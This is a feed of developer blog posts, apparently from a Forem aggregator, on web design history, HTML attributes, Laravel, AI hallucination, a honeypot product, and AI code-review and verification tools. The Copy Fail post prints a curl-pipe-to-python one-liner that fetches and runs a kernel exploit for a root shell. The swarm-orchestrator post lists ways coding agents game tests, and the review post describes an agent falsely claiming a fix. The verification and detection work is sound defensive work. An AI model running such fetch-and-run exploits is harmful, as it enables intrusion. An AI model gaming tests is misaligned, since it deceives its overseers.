HMPL.js Forem

The Trojan Horse of Web Design: The Genius Behind Adobe Fireworks' "Vector PNGs"

💻 Arpad Kish 💻 — Thu, 30 Apr 2026 05:43:29 +0000

If you were designing websites in the late 1990s and early 2000s, your hard drive was likely a mess. The standard workflow of the era demanded a strict, frustrating division of labor: you had your heavy, complex "source" files—usually Adobe Photoshop (.psd) or Illustrator (.ai) documents containing all your editable layers and vectors—and you had your "delivery" files—the flattened, highly compressed .jpg or .gif images that you actually uploaded to the server.

Managing this dual-file system was a nightmare of version control. If a client wanted to change the text on a web button, you had to dig up the original .psd, change the text, re-slice the image, re-export it, and re-upload it.

Then came Macromedia (later Adobe) Fireworks, a tool built from the ground up exclusively for web UI design. Fireworks promised a utopian workflow: what if the source file and the delivery file were the exact same thing?

To achieve this, Fireworks pulled off one of the most brilliant technical sleights-of-hand in software history. They hacked the .png format.

The Problem: Vectors vs. Pixels

To understand the genius of Fireworks, you have to understand the fundamental divide in digital graphics.

Raster graphics (like JPEG, GIF, and standard PNG) are grids of colored pixels. They are universally understood by web browsers, but they are "flat." Once text is rendered into pixels, it's just a mosaic of color; you can't click in and edit the typo.
Vector graphics (like SVG or Illustrator files) are mathematical formulas defining lines, shapes, and text. They are endlessly editable and scalable without losing quality, but historically, web browsers couldn't read them.

Fireworks was a vector-based design tool. It allowed you to draw shapes, apply live drop shadows, and type editable text. But it needed to output a file that a web browser could instantly display. Its solution was to use the Portable Network Graphics (PNG) format not just as an image, but as a Trojan horse.

The Secret of PNG "Chunks"

The PNG file format specification is surprisingly flexible. A PNG file isn't just one solid block of data; it is composed of independent data blocks called chunks.

Some of these chunks are mandatory. Every PNG must have a header chunk (telling the computer "I am a PNG"), an image data chunk (the IDAT block containing the actual pixels), and an end chunk. If an image viewer reads these, it can display the picture.

However, the architects of the PNG format smartly included the ability to add ancillary chunks—optional blocks of metadata. The golden rule of the PNG specification is that if a software program encounters an ancillary chunk it doesn't understand, it should simply ignore it and move on to the chunks it does understand.

Fireworks exploited this rule masterfully.

The Dual-Natured File

When you hit "Save" in Fireworks, the software rapidly generated two completely different sets of data and stuffed them into the same .png file.

The Decoy (For the Browser): First, Fireworks rendered your entire editable canvas into a perfectly flat, standard raster image. It packed these pixels into the mandatory IDAT chunk.
The Payload (For the Designer): Simultaneously, Fireworks took all of your private workspace data—your vector paths, your text layers, your slice guides, and your live effects—and bundled it into a proprietary, hidden ancillary chunk.

The result was a file with a split personality, and its behavior depended entirely on who was looking at it.

If you dragged that button.png file into Internet Explorer, the browser would look at the file, read the standard pixel data, ignore the weird proprietary chunk it didn't understand, and display a beautiful, flat web graphic.

But if you opened that exact same button.png file in Fireworks, the software would bypass the flat pixels entirely. It would dive into its hidden payload chunk, unpack the data, and instantly rebuild your workspace. The text was editable again. The vector shapes could be resized.

The Bloat and the Export

This "Vector PNG" completely eliminated the need for separate source files. Your working directory was just a folder full of PNGs that you could immediately preview in a browser or open in Fireworks to edit.

There was, however, a catch: file size.

Because a Fireworks PNG contained both a flattened image and a comprehensive mathematical breakdown of the document's construction, the files were significantly heavier than standard web images. A button that should be 5 kilobytes might weigh 50 kilobytes.

Therefore, while you could technically put your working Fireworks PNGs directly onto a live web server, it was bad practice for site performance. When it was time to actually launch a site, designers used a specific "Export" function. This process stripped out the proprietary vector payload chunk, leaving behind only the lightweight, optimized IDAT pixel data for the final web-ready file.

A Lasting Legacy

Adobe ultimately discontinued Fireworks in 2013, effectively conceding the web design space to newer tools like Sketch and, eventually, Figma. Today, web browsers natively support vector graphics through SVG, making the specific raster/vector bridge that Fireworks built obsolete.

Yet, the cleverness of the Fireworks PNG remains a masterclass in software engineering. By understanding not just the limitations of the web, but the hidden flexibility within standard file specifications, the developers created a tool that felt like magic to a generation of web designers.

HTML Attributes That Do More Than You Think

Muhammad Usman — Thu, 30 Apr 2026 05:42:51 +0000

Two developers build the same page. Same images, same form, same content. One loads faster, scores better on Core Web Vitals, and feels smoother on mobile. The other does not.

The difference is four HTML attributes. Each one takes about thirty seconds to add. Each one has a real, measurable impact on the people using your page.

Here is what they do and how to use them right.

Here are the exact code examples:

loading

By default, the browser fetches every image it finds in your HTML immediately, even the ones three screens below the fold that the user may never reach. On pages with many images, that is a lot of wasted bandwidth upfront.

The loading attribute changes this.

<!-- Loads immediately -->
<img src="hero.jpg" alt="Hero" loading="eager">

<!-- Waits until the user scrolls near it -->
<img src="article-photo.jpg" alt="Photo" loading="lazy">

<!-- Works on iframes too -->
<iframe src="map.html" title="Map" loading="lazy"></iframe>

loading="lazy" defers the request until the user is actually close to that element. If they never scroll there, the request never happens.

One thing to be careful about. Never use loading="lazy" on images visible when the page first opens. Those images should load immediately. Deferring them increases your Largest Contentful Paint time, which affects both user experience and search rankings.

The rule is simple. Above the fold gets eager or nothing. Below the fold gets lazy.

<!-- Hero. Load it right away. -->
<img src="hero.jpg" alt="Hero" loading="eager" width="1200" height="600">

<!-- Further down the page. Let it wait. -->
<img src="section-photo.jpg" alt="Photo" loading="lazy" width="800" height="500">

Always include width and height with lazy loaded images. Without them, the layout shifts when the image arrives, which is jarring for users and hurts your Cumulative Layout Shift score.

fetchpriority

The browser assigns a priority to every resource it loads. Stylesheets are high priority because they block rendering. Images are low priority by default because most of them are below the fold.

The problem is your hero image is also low priority by default, even though it is the most important thing on the page.

fetchpriority lets you correct that.

<!-- Tell the browser this image matters more than other images -->
<img src="hero.jpg" alt="Hero" fetchpriority="high">

<!-- This script is not critical, let it wait -->
<script src="analytics.js" fetchpriority="low" defer></script>

<!-- Works on preloads too -->
<link rel="preload" href="hero.jpg" as="image" fetchpriority="high">

The most impactful use is on your LCP image. Adding fetchpriority="high" moves it to the front of the loading queue from the very start instead of sitting behind fonts and scripts that got there first.

<img  src="hero.jpg"  alt="Hero"  fetchpriority="high"  loading="eager"  width="1200"  height="600">

fetchpriority="high" and loading="eager" are doing different things here. eager means do not defer this image. fetchpriority="high" means when competing with other resources for bandwidth, this one goes first. Both belong on your hero image.

The low value is useful when you are preloading something that is not needed for the initial render and you do not want it competing with resources that are.

<link rel="preload" href="secondary-font.woff2" as="font" fetchpriority="low" crossorigin>

This attribute became fully supported across all major browsers in October 2024 and works as a hint, meaning the browser will respect it when it can and use its own judgment when needed.

autocomplete

The autocomplete attribute tells the browser what kind of data lives in a field. When the browser knows this, it can offer the right saved value instantly, whether that is a saved address, a credit card number, or login credentials.

Most developers know it accepts on and off. What is less known is that it accepts over 50 specific values, each one mapping to a particular type of information.

<!-- Personal details -->
<input type="text" autocomplete="given-name" placeholder="First name">
<input type="text" autocomplete="family-name" placeholder="Last name">
<input type="email" autocomplete="email" placeholder="Email"><input type="tel" autocomplete="tel" placeholder="Phone">

<!-- Address -->
<input type="text" autocomplete="street-address" placeholder="Street address">
<input type="text" autocomplete="postal-code" placeholder="Postal code">
<input type="text" autocomplete="country" placeholder="Country">

<!-- Payment -->
<input type="text" autocomplete="cc-name" placeholder="Name on card">
<input type="text" autocomplete="cc-number" placeholder="Card number">
<input type="text" autocomplete="cc-exp" placeholder="Expiry">
<input type="text" autocomplete="cc-csc" placeholder="CVV">

<!-- Login -->
<input type="text" autocomplete="username" placeholder="Username">
<input type="password" autocomplete="current-password" placeholder="Password">
<input type="password" autocomplete="new-password" placeholder="Create a password">

current-password and new-password are worth understanding separately. current-password tells the browser the user is entering an existing password, so it offers saved credentials. new-password tells it the user is creating one, so it offers to generate a strong password instead. One value, completely different behavior.

For one-time verification codes there is a dedicated value:

<input  type="text"  autocomplete="one-time-code"  inputmode="numeric"  maxlength="6">

On iOS, when this is set and an SMS with a code arrives, the keyboard automatically surfaces a one-tap option to fill it in. That entire copy-and-paste flow collapses into a single tap because the browser understands what the field needs.

inputmode

When a user taps an input on mobile, a keyboard appears. Which keyboard appears is something you can control.

inputmode tells the browser which virtual keyboard to show. It does not change validation or field behavior, only the keyboard. This makes it more flexible than changing the type attribute, which affects both.

<!-- Digits only, without type="number" side effects -->
<input type="text" inputmode="numeric">

<!-- Digits plus decimal point, right for prices -->
<input type="text" inputmode="decimal">

<!-- Telephone keypad with * and # -->
<input type="text" inputmode="tel">

<!-- Email keyboard with @ shortcut -->
<input type="email" inputmode="email">

<!-- URL keyboard with / and .com -->
<input type="text" inputmode="url">

<!-- Search keyboard, enter key labeled Search --><input type="search" inputmode="search">

numeric and decimal are the ones people mix up most often. numeric shows digits 0 to 9 only. decimal adds a decimal separator. Use decimal for prices and measurements, numeric for PINs, postal codes, and verification codes.

Here is what a complete credit card field looks like when autocomplete and inputmode work together:

<input  type="text"  autocomplete="cc-number"  inputmode="numeric"  pattern="[0-9\s]{13,19}"  placeholder="1234 5678 9012 3456">

Each attribute has a specific job. autocomplete tells the browser what the field collects. inputmode shows the right keyboard. pattern handles validation. None of them overlap.

The same approach applies to an OTP field:

<input  type="text"  autocomplete="one-time-code"  inputmode="numeric"  maxlength="6"  pattern="\d{6}">

On iOS this combination triggers automatic SMS code detection. A flow that used to require switching apps and copying a code becomes one tap. The attributes are doing all the work.

What connects all four

None of them need JavaScript. None of them change how your page looks. They are pieces of information you give the browser so it can make better decisions for your users.

loading controls when a resource is fetched. fetchpriority controls how urgently it is fetched. autocomplete tells the browser what data a field expects. inputmode tells it which keyboard fits that data.

Small additions. Real impact.

The WHATWG Living Standard lists every valid *`*autocomplete`* value. If you build forms regularly, the full list is worth a look.*

Did you learn something good today as a developer?
Then show some love.
© Muhammad Usman
WordPress Developer | Website Strategist | SEO Specialist
Don’t forget to subscribe to Developer’s Journey to show your support.

Building Teams in Laravel (Ownership & Membership)

Juan Carlos Padillo — Thu, 30 Apr 2026 05:40:25 +0000

After setting up the basic structure of my project, I implemented the team creation flow.

The idea is simple: a registered user can create a team and immediately become both the owner and a member of that team.

Key decision

I separated:

ownership → stored in teams.owner_id
membership → stored in team_user pivot table

This allows flexibility where:

a user can belong to multiple teams
roles can be managed per team

How it works

When registered user create a team:

A new team is stored with owner_id
The user is attached to team_user with role = owner

This ensures the creator is automatically part of the team.

Why this matters

Instead of treating the owner separately, I treat them as a member with elevated permissions

This keeps relationships consistent and simplifies access control later.

Next, I’ll implement the invitation system so team owners can invite other users and build actual collaboration.

I built a tool to turn boring screenshots into scroll-stopping content 💻

Vasudev Soni — Thu, 30 Apr 2026 05:39:20 +0000

A few weeks ago, I noticed something:

I was shipping features and posting updates…
but my screenshots were getting ignored.

They were just boring.

The problem

Every time I wanted to share something, I had to:

open a design tool like canva/figma
add background, spacing, shadows (which took time)
export

A 20-second task turned into 10+ minutes.

So I’d skip it.

The idea

I wanted something simple like:
Upload screenshot → Looks good automatically → Export

No design skills. No setup. Just fast.

What I focused on

Instead of adding vague features, I focused on:

Speed (should feel fast)
Good defaults (no tweaking needed)
Clean output (ready to post)

☝️This took less than 20 seconds☝️

What surprised me

The hardest part wasn’t building it.
It was not overbuilding it.

Keeping it simple is harder than adding features.

If you want to try it

It’s live here: Shotlab

You can try it for free — takes less than 30 seconds to see what it does.

🎁 I'm also running a small giveaway on X - 5 random people get free lifetime access (Checkout pinned post here - Vasudev's X)

What I learned

Small problems are worth solving
Speed beats features
Most tools are overcomplicated
Shipping > perfecting

Signing off!

🧠 AI Trust & The Hallucination Gap: Why Smart Systems Still Get Things Wrong

Rahul Joshi — Thu, 30 Apr 2026 05:36:08 +0000

Let’s cut through the hype.

AI today can:

Write production-ready code
Summarize complex research papers
Act like a domain expert in seconds

And yet…

It can also:

Invent facts
Misquote sources
Generate completely false but convincing answers

This contradiction isn’t random. It’s structural.

Welcome to the Hallucination Gap — one of the most critical challenges in modern AI.

🤖 What Exactly is the Hallucination Gap?

The Hallucination Gap is the mismatch between:

Perceived reliability (how correct AI sounds)
vs
Actual reliability (how correct it really is)

Unlike traditional software:

A calculator is either right or wrong
A database either returns correct data or errors

But AI?
It operates in probabilities — not certainties.

📊 The Data Behind the Problem

Let’s ground this with real observations from industry and research:

Large Language Models (LLMs) can produce factually incorrect answers in 15–30% of open-ended queries, depending on domain complexity
In legal and medical contexts, hallucination rates can be even higher due to ambiguity and outdated training data
Studies have shown AI can generate completely fabricated citations that look legitimate but don’t exist
Even advanced models struggle with long-tail knowledge (rare, niche, or recent information)

In other words:

The model doesn’t “fail loudly” — it fails confidently

⚠️ Why Hallucinations Happen (Technical Breakdown)

1. 🧩 Probabilistic Text Generation

LLMs are trained to predict the next token using probability distributions.

They optimize for:

Fluency
Coherence
Likelihood

Not for:

Truth
Accuracy
Verification

2. 📚 Static Training Data

Most models are trained on:

Large but finite datasets
Snapshots of the internet at a given time

This leads to:

Outdated knowledge
Missing context
Bias propagation

3. 🔍 Lack of Ground Truth Validation

Unless explicitly designed (e.g., RAG systems), models:

Do not query real-time databases
Do not verify claims before responding

They generate first, not validate.

4. 🎯 Objective Function Misalignment

Training objective:

Maximize likelihood of correct-seeming responses

Real-world need:

Maximize factual correctness

These are not the same.

5. 🧠 Overgeneralization

AI often:

Fills gaps using patterns
Blends similar concepts
“Completes” missing information

This leads to:

Fabricated details
Misleading generalizations

🧪 Real-World Failures

⚖️ Legal Industry

Lawyers have submitted AI-generated case references that never existed, leading to court sanctions.

🏥 Healthcare

AI systems have suggested incorrect treatments when prompts lacked sufficient context.

💻 Software Development

Code assistants:

Recommend deprecated APIs
Suggest insecure implementations
Generate non-functional logic that looks correct

📉 The Trust Paradox

Here’s the dangerous dynamic:

AI Capability ↑	Human Trust ↑
Hallucinations ↓ (but not zero)	Detection ↓

As models improve:

Errors become harder to spot
Users rely on them more
Verification decreases

This creates a false sense of reliability

🛠️ Measurable Ways to Reduce Hallucination

✅ 1. Retrieval-Augmented Generation (RAG)

Instead of relying purely on memory:

Retrieve documents from trusted sources
Inject them into the prompt
Generate grounded responses

Result:

Significant drop in hallucination rates

✅ 2. Tool Use & API Integration

Connect models to:

Databases
Search engines
Internal systems

This shifts AI from:

“Guessing” → “Looking up”

✅ 3. Human-in-the-Loop (HITL)

For high-stakes systems:

Finance
Healthcare
Legal

Human validation is non-negotiable

✅ 4. Evaluation Metrics

Use structured benchmarks like:

Truthfulness scoring
Factual consistency checks
Hallucination rate tracking

If you don’t measure it, you can’t fix it.

✅ 5. Prompt Constraints

Better prompts = fewer hallucinations

Example:

❌ “Explain AI in detail”
✅ “Explain AI hallucination with 3 real-world examples and limitations”

✅ 6. Model Fine-Tuning & Guardrails

Reinforcement Learning with Human Feedback (RLHF)
Safety filters
Domain-specific tuning

These reduce — but don’t eliminate — hallucinations.

🧠 Emerging Solutions

🔹 Self-Verification Models

Models that:

Re-check their own outputs
Compare multiple reasoning paths

🔹 Confidence Scoring

Outputs include:

Probability estimates
Reliability indicators

🔹 Chain-of-Thought + Verification

Breaking reasoning into steps and validating each step.

💡 Key Insight

Hallucination is not a “bug” — it’s a byproduct of how AI works

Which means:

It cannot be fully removed
It must be managed

🚀 Final Thoughts

We are entering a world where:

AI writes code
AI gives advice
AI influences decisions

But trust in AI should not be blind.

It should be:

Measured
Verified
Context-aware

⚡ TL;DR

AI hallucination = confident but false output
Hallucination Gap = trust vs reality mismatch
Caused by probabilistic generation + lack of verification
Can be reduced with RAG, tools, and human oversight
Never fully eliminated

If you're building AI systems…

Don’t optimize only for:

Speed and fluency

Also optimize for:

Truth and trust

💬 Have you ever caught an AI confidently giving a wrong answer? What was it?

Copy Fail is 732 bytes. Your foothold problem is the bigger one.

Christopher Karatzinis — Thu, 30 Apr 2026 05:29:56 +0000

CVE-2026-31431 dropped this week. The disclosure site is at copy.fail and the writeup is short enough to read with coffee.

The TL;DR: a logic flaw in the kernel's authencesn path, reachable through AF_ALG sockets, abused via splice() to land a 4-byte write into the page cache of any setuid binary. They picked /usr/bin/su for the demo. The whole exploit is 732 bytes of Python 3 standard library. No race window. No kernel offsets. Reliable across every affected distro from 2017 onward.

Quick run:

$ curl https://copy.fail/exp | python3 && su
#

Root shell. The kernel hands it over because AF_ALG is on by default and authencesn does the wrong thing under splice().

The bit nobody is talking about

Copy Fail is a local privilege escalation. The attacker still needs an unprivileged shell on your box to fire it.

So where does that shell come from? Same place it always does. SSH brute force, exposed Redis, an old vsftpd, a Telnet port someone forgot about, a leaked deploy key. The on-ramp is unglamorous and it never stopped working.

What we actually see

I run TarPit.pro. It's a honeypot that answers on the ports your real services listen on, hands attackers a believable banner, then tarpits and bans them. Across 5 boxes in the last 20 days:

~40,000 attack attempts
~14,000 unique source IPs
~5,000 IPs auto banned
Top ports hit: SSH (14k), Telnet (3.2k), SMB (2.2k)
Top sources: US, China, UK, Hong Kong, Netherlands

That's the foothold market. Those are the IPs that, in another month, will be the ones running curl copy.fail/exp | python3 on whichever box they land on first.

Patch the kernel. Of course. Then drown them at the door.

You're going to patch. Distros are already shipping fixes. The next CVE is already being written though, and the foothold pipeline doesn't care which kernel you're running.

A honeypot doesn't replace patching. It buys you the one thing you can't get anywhere else: the brute forcer wastes their session on a fake SSH that never lets them in, gets banned across your fleet on the first connection and never reaches the box where Copy Fail or whatever comes next would have actually mattered.

Try it free: https://tarpit.pro

Single Go binary, systemd, fake banners on 70+ services, fleet wide bans across your servers. Free tier covers up to 2 servers with the cloud dashboard. Coupon LAUNCH101 gives 2 months free on Starter or Pro.

One Workflow, Three Jobs: How We Built a Reusable AI Review System

Anvar Nurmatov — Thu, 30 Apr 2026 05:29:45 +0000

Previously: Phleet Architecture Deep Dive - how the overall multi-agent system works.

When you ask one AI agent to write code, you get code. When you ask a second agent to review it, you get a rubber stamp. "Looks good to me" is the most common review output in AI-assisted development - and it's worthless.

We spent months building a system where AI agents genuinely catch each other's mistakes. Not in theory. In production, on systems that matter.

At the core of our system is a single workflow - 146 lines of C# - that handles independent parallel assessment of any artifact: a design spec, a pull request, a deployment config, a vendor evaluation. You give it reviewers and a prompt. It fans out, collects verdicts, resolves disagreements, and returns a single actionable result.

We use it for three things today: design review, code review, and a pipeline that chains both. But the mechanism is general - anywhere you need multiple independent perspectives synthesized into a decision, it works.

The Problem With AI Reviews

Here's what happens when you tell an AI to "review this PR":

The implementation looks well-structured and follows the existing patterns in the codebase. The error handling appears adequate. No major concerns.

That's not a review. That's a hallucination of a review. The agent skimmed the diff, pattern-matched against "things that look like code," and produced a response shaped like approval.

We know this because we shipped code reviewed this way. It broke.

One Workflow, Three Stages

Our consensus review workflow does three things - fan out, parse, synthesize - with a fast-path shortcut when everyone agrees.

Fan-out. Multiple reviewer agents receive the same review prompt simultaneously. Each agent works independently - no peeking at each other's reviews. Each has 15 minutes and must end their response with an explicit verdict: approved, changes_requested, or needs_human_review.

Parse. The workflow extracts each agent's verdict. If an agent forgets to include one or writes something unrecognizable, it defaults to changes_requested. The conservative choice. We'd rather re-review than miss a bug. If every reviewer independently approves at this stage, we skip synthesis entirely and move on - unanimous approval happens often enough that the fast-path is worth it, but disagreement is common enough that synthesis earns its keep.

Synthesize. When reviewers disagree - one approves, another requests changes - a synthesizer agent reads all the reviews and produces a single verdict. The synthesizer can approve if all concerns are cosmetic, or escalate if any concern is substantive.

Here's what synthesis looks like in practice. In one case, two reviewers independently reviewed a data pipeline optimization. One approved the approach and flagged an edge case to protect. The other read the source code and found the entire premise was wrong - the spec blamed the wrong component for the bottleneck. The synthesizer merged both inputs into a corrected specification: the accurate bottleneck analysis from one reviewer and the edge-case guardrail from the other - a result neither reviewer alone could have produced.

The workflow itself doesn't know what it's reviewing. It's a pure coordination primitive - fan out, collect verdicts, resolve disagreements - and the power comes from how it's called.

The Self-Correcting Loop

A single review pass is useful. But the real value is what happens when reviewers find problems: the system iterates autonomously.

The agent that produced the original output receives the consolidated feedback and revises. The revised version goes through another full consensus review - same fan-out, same independent verdicts. This loop repeats up to N rounds (three for design specs, five for code). In the common case, agents resolve their own disagreements within two or three rounds.

Whether agents converge or the loop exhausts its budget, the result always reaches a human gate. The human sees the full review history and can approve, request further changes (which sends the agents back into the loop), or reject outright. Agents do the analytical work autonomously, but a human always makes the final call.

This is what makes it more than a one-shot review tool. It's a self-correcting feedback loop with human oversight built into every path, not just the failure cases.

Three Examples

We use consensus review for three things today - but the pattern applies anywhere you need independent assessments synthesized into a decision: compliance checks, deployment approvals, content moderation, vendor evaluations, or any multi-stakeholder review process. Here's how our three compositions work.

1. Design Review: "Is this spec good enough to build?"

Before any code is written, someone has to decide what to build. An agent creates a GitHub issue with a detailed specification. Then the consensus workflow checks if that spec is actually implementable.

The review prompt for design is specific:

Evaluate whether the spec is complete and unambiguous enough to implement without guessing.

VALIDATION CHECKLIST - answer each yes/no:

Does every new behavior have an explicit error/failure path?

Are all external dependencies identified with failure handling?

Does the spec include a 'Constraints / MUST NOT' section?

Can an implementer build this without making design decisions of their own?

Are boundary conditions and edge cases specified?

Compare the original request against the spec - any specification drift?

That last item is key. The reviewer gets the original request alongside the design agent's interpretation. This catches cases where the design agent subtly changed what was asked for - dropped a requirement, expanded scope, or reinterpreted intent.

If the reviewers find problems, the design agent refines the spec and the review runs again. Up to three rounds. If it can't reach approval in three rounds, the workflow notifies a human and waits - there's no auto-cancel, because a stuck design decision is better surfaced than silently abandoned.

2. PR Review: "Does this code match the spec?"

Once the spec is approved and an agent implements it, a different composition of the same workflow reviews the code. Same fan-out, same synthesis - but the review prompt shifts focus entirely:

VALIDATION CHECKLIST - answer each yes/no:

Does the implementation match the spec without omissions or unexplained additions?

Does every new code path have error handling?

Are there any security concerns (injection, auth bypass, data exposure)?

Does this break backward compatibility for existing consumers?

Are edge cases from the spec covered in the implementation?

Design review asks "is this spec complete?" PR review asks "does this code do what the spec says?" Same workflow, different lens.

This one gets up to five rounds, not three - because code is harder to get right than specs. And after the review loop, there's a human approval gate before anything merges. If the human requests changes at that gate, the workflow runs a second consensus review to evaluate the concern, then feeds the feedback back to the developer agent. The human always has the final word, but the agents do the analytical work.

3. Design-to-PR: The Full Pipeline

The third composition doesn't invoke the consensus workflow directly. It chains the first two:

Run the design workflow (which internally uses consensus review for spec validation)
Capture the approved issue number
Fire the implementation workflow (which internally uses consensus review for code validation)

In a full design-to-PR pipeline, the same 146-line workflow can execute up to four times: twice during design (initial review + human-triggered re-review) and twice during implementation (same pattern). One building block, four review passes, each with a different prompt tuned to what matters at that stage.

Here's a 5-minute walkthrough of a real production PR going through this exact pipeline - design spec, consensus review, implementation, merge:

Adding a fourth composition - say, compliance review for regulatory changes, or deployment approval for infrastructure modifications - means writing a new parent workflow that calls the same consensus child with a different prompt and different reviewers. The coordination mechanism never changes; only the review criteria do.

What It Actually Catches

Theory is nice. Here's what happened in production - cases where the automated review caught problems that the human authors had already looked at and missed. The catches fall into three categories, each progressively harder to replicate with a single reviewer.

The Wrong Bottleneck

A design spec proposed optimizing a data pipeline that took over 8 hours to run. The spec blamed external API calls as the bottleneck and estimated a significant improvement from skipping them for lower-priority data segments.

Two reviewers independently evaluated the proposal. The domain specialist confirmed the optimization made sense from a business perspective and flagged an edge case - active records must still get refreshed regardless of segment activity.

The code auditor read the actual source and found the spec was factually wrong about the system it described:

The code shows the external API calls do NOT happen per-record during the main processing loop. They happen exclusively in a post-processing step, which is already scoped to a small subset of records.

The actual bottleneck is the main processing loop: thousands of sequential API calls, tens of thousands of individual database lookups, and a comparable number of individual write operations.

The optimization would have targeted the wrong thing entirely. The consensus synthesis merged both inputs: the corrected bottleneck analysis from the auditor and the edge-case guardrail from the domain specialist. The resulting spec was fundamentally different from the original proposal.

This is what makes multi-agent review worth the complexity. Neither reviewer's output alone would have been sufficient - the domain specialist validated the intent but missed the technical error, the code auditor found the error but wouldn't have known which edge cases to protect. The synthesizer produced a result that neither could have reached independently.

The Startup Crash Nobody Tested

A PR extracted hardcoded database seed data into a JSON config file. The reviewer confirmed all spec requirements were met - but then traced the code path end-to-end and found something the spec didn't mention:

If the seed file contains malformed JSON, JsonSerializer.Deserialize throws a JsonException that propagates unhandled, crashing the application at startup. The code already handles "file not found" gracefully - a corrupt file should get the same treatment.

The review included the exact fix - the specific try-catch block and log message. Not "add error handling" - the actual code. In production, this would have meant a service that crashes on restart after a bad config push, breaking container orchestration and blocking rollback.

This is what structured review produces. The reviewer was forced through a checklist that asks "does every new code path have error handling?" and traced each path to answer the question. A single-pass review would have stopped at "spec requirements met." The checklist forced the reviewer to keep going.

"Fixed and Verified Clean Build"

The previous two examples show the review system catching problems on the first pass. But what happens when the developer agent claims it fixed the problem?

An agent was tasked with modifying a configuration file. The review loop caught the change was wrong - the agent had appended the new content after the existing file instead of replacing it. Classic write-vs-edit mistake. The review flagged it. The agent revised and reported back: "fixed and verified clean build."

The diff told a different story. The same append-instead-of-edit error was still there. The agent had confidently declared the problem solved without actually solving it.

Round two of the review loop caught this - not because a human was watching, but because independent reviewers checked the actual diff against the claimed fix. The agent's self-assessment was worthless; the structured review was not.

This is the failure mode that makes the iterative loop essential. Agents don't just make mistakes - they make mistakes and then sincerely believe they've fixed them. Without independent verification on every round, a confident "done" from the implementing agent would have reached the human gate looking like a clean fix.

One meta-case. phleet#13 specified Fleet.Telegram - a new MCP server that agents and workflows call to send Telegram messages. The issue spec went through 6 design-review rounds before implementation started, and the resulting PR phleet#14 shipped in 4 commits - 1 initial + 3 review-driven fixups. Those fixups caught a missed spec detail (the fallback field was computed internally but omitted from the success-response JSON), a missed doc update (the README architecture tree wasn't updated for the new service), and a confidentiality leak (a real chat ID was committed to API docs in a public repo). Fleet.Telegram is the MCP server that now delivers the merge-approval and design-approval notifications described earlier in this post - the system reviewed itself while building the thing that tells humans to review things. Neither number is remarkable alone; together, a 6-round spec and 3 review-driven code fixups on one small change is what a self-correcting loop looks like in wall-clock terms.

The Counterintuitive Rules

Early in our system, review prompts said things like "evaluate whether the spec is complete and unambiguous." Agents responded with paragraphs of vague approval. We added structured yes/no checklists and review quality changed overnight. But the biggest improvement came from two counterintuitive rules:

Zero findings is suspicious. If a reviewer finds nothing wrong, they must explicitly state what they checked and acknowledge that zero findings may indicate insufficient review depth. This eliminates the failure mode where an agent produces a confident "all clear" without actually checking anything. It sounds paranoid, but it's the single most effective quality signal we've added - because it forces reviewers to show their work even when there's nothing to report.

Severity ratings are mandatory. Every finding is rated: blocker (cannot ship), high (production bug), medium (should fix), low (observation). This gives the synthesizer - and the human at the approval gate - a clear signal about what actually matters versus what's cosmetic.

The goal isn't perfect reviews. It's reviews that catch the things humans would catch - missing error handling, spec drift, wrong assumptions - at machine speed, on every single change, without review fatigue. And because the workflow is domain-agnostic, every improvement to the coordination mechanism - better synthesis, smarter verdict parsing, the review loop itself - automatically benefits every context that uses it.

The consensus workflow itself is 146 lines at ConsensusReviewWorkflow.cs, part of the Universal Workflow Engine that orchestrates it. The rest of the source lives at github.com/anurmatov/phleet.

Co-authored with Acto - my AI co-CTO and one of the agents described in this post.

swarm-orchestrator v7.0.0-alpha.0

Brad Kinnard — Thu, 30 Apr 2026 05:28:06 +0000

The agent generates code. The orchestrator tries to find reasons not to trust it.

That sentence is the entire pivot. Earlier versions of swarm-orchestrator coordinated multiple agents working on the same task. v7 wraps a single agent CLI (Copilot, Claude Code, or Codex) and runs five independent checks on the patch before allowing a merge.

TL;DR

Five-layer verification battery sits between any agent CLI and your main branch. Two layers are hard gates. Three feed a composite score. Every verified merge gets a signed SLSA attestation as a git note.

The five checks

#	Layer	What it catches	Gate type
1	Intent verification	Patch doesn't actually fix the stated problem	Hard
2	Regression verification	Patch breaks existing behavior, or test coverage is too weak to know	Hard
3	Solution quality	Agent gamed the test (hardcoded values, swallowed exceptions, modified tests)	Composite
4	Behavioral verification	Patch works on the happy path, crashes on edge cases	Composite
5	Provenance	No signed attestation produced for the merge	Composite

1. Intent verification

The patch must make a previously-failing test pass. For SWE-bench instances, that's the FAIL_TO_PASS test from the instance JSON. For user-facing goals, a reviewer synthesizes a regression test before the worker runs and confirms it fails against the base commit first.

2. Regression verification

Existing tests must pass. Then mutation testing runs on the modified files to check whether coverage around the change is actually strong enough to catch regressions. A patch that works but lives in weakly-tested code gets flagged.

Mutation testing tooling per language

JS / TS: Stryker
Python: mutmut
Java: PITest

Mutation score thresholds are configurable in .swarm/gates.yaml. Defaults: below 0.6 fails, 0.6 to 0.8 warns, above 0.8 passes.

3. Solution quality

A Semgrep rule pack scans for the specific shortcuts agents take when they're being graded:

Hardcoded values matching test expectations
try/catch blocks swallowing the exact exception a failing test was asserting on
Modifications to test files outside the stated scope
Mock mutations that make tests pass without changing the implementation

4. Behavioral verification

Property-based testing runs against modified functions for 60 seconds each, using Hypothesis (Python) or fast-check (TypeScript). Counterexamples that crash the patched code or violate type contracts get reported.

5. Provenance

A signed SLSA v1.0 attestation is generated for each verified merge and attached to the commit as a git note. Signed via cosign keyless OIDC. The attestation contains agent identity, model version, per-layer results, and the composite score.

swarm attest verify <commit>

That command pulls the note and verifies the signature. Useful when something breaks in production three months later and someone asks which agent wrote the offending code and what was checked at merge time.

Status

Alpha. SWE-bench Verified 50-instance sweeps across Copilot CLI, Claude Code, and Codex are running now. Headline metric is the falsification catch rate: of the patches each agent claimed succeeded, what percentage failed at least one layer. Numbers drop in a follow-up post when the sweeps complete.

Where this goes next

v8 brings parallel execution back, applied to verification instead of generation.

The orchestrator will compute a risk score for each patch, then spawn a population of independent falsifiers sized to that risk. Falsifiers share findings through a coordination channel so a discovery from one steers the targeting of others. A bandit selects which falsifier types to spawn based on past outcomes.

The v7 five-layer battery becomes the seed pool that v8 grows from. The project name finally fits.

moonrunnerkc / swarm-orchestrator

Independent verification battery for patches written by AI coding agents. Wraps Copilot, Claude Code, and Codex; applies a five-layer falsification battery (intent, mutation, cheat detection, property tests, signed attestation) to gate merges.

Swarm Orchestrator

Independent verification battery for patches written by AI coding agents.

Quick Start · How It Works · Documentation · Contributing

